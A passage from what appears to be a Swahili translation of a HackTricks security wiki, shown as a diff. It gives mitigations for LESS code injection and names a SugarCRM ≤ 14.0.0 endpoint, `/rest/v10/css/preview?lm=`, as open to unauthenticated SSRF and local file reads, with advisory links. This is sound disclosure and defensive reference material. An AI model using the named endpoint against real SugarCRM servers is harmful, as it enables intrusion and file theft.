* Usipitishwe data zisizoaminika kwa mhariri wa LESS.
* Ikiwa thamani za dinamik zinahitajika, safisha/safisha vizuri (kwa mfano, punguza kwa alama za nambari, orodha za ruhusa).
* Zima, inapowezekana, uwezo wa kutumia uagizaji wa `(inline)`, au punguza protokali zinazoruhusiwa kuwa `https`.
* Hifadhi utegemezi kuwa wa kisasa SugarCRM ilirekebisha tatizo hili katika toleo 13.0.4 na 14.0.1.
## Real-World Cases
| Product | Vulnerable Endpoint | Impact |
|---------|--------------------|--------|
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | Unauthenticated SSRF & local file read |
## References
* [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,7 +1,13 @@
# Mifumo Ilioathirika ya SSRF
# Mifumo Iliyoathirika ya SSRF
{{#include ../../banners/hacktricks-training.md}}
Angalia **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
- SugarCRM ≤ 14.0.0 LESS `@import` kuingiza katika `/rest/v10/css/preview` kunaruhusu SSRF isiyo na uthibitisho & kusoma faili za ndani.
{{#ref}}
../less-code-injection-ssrf.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}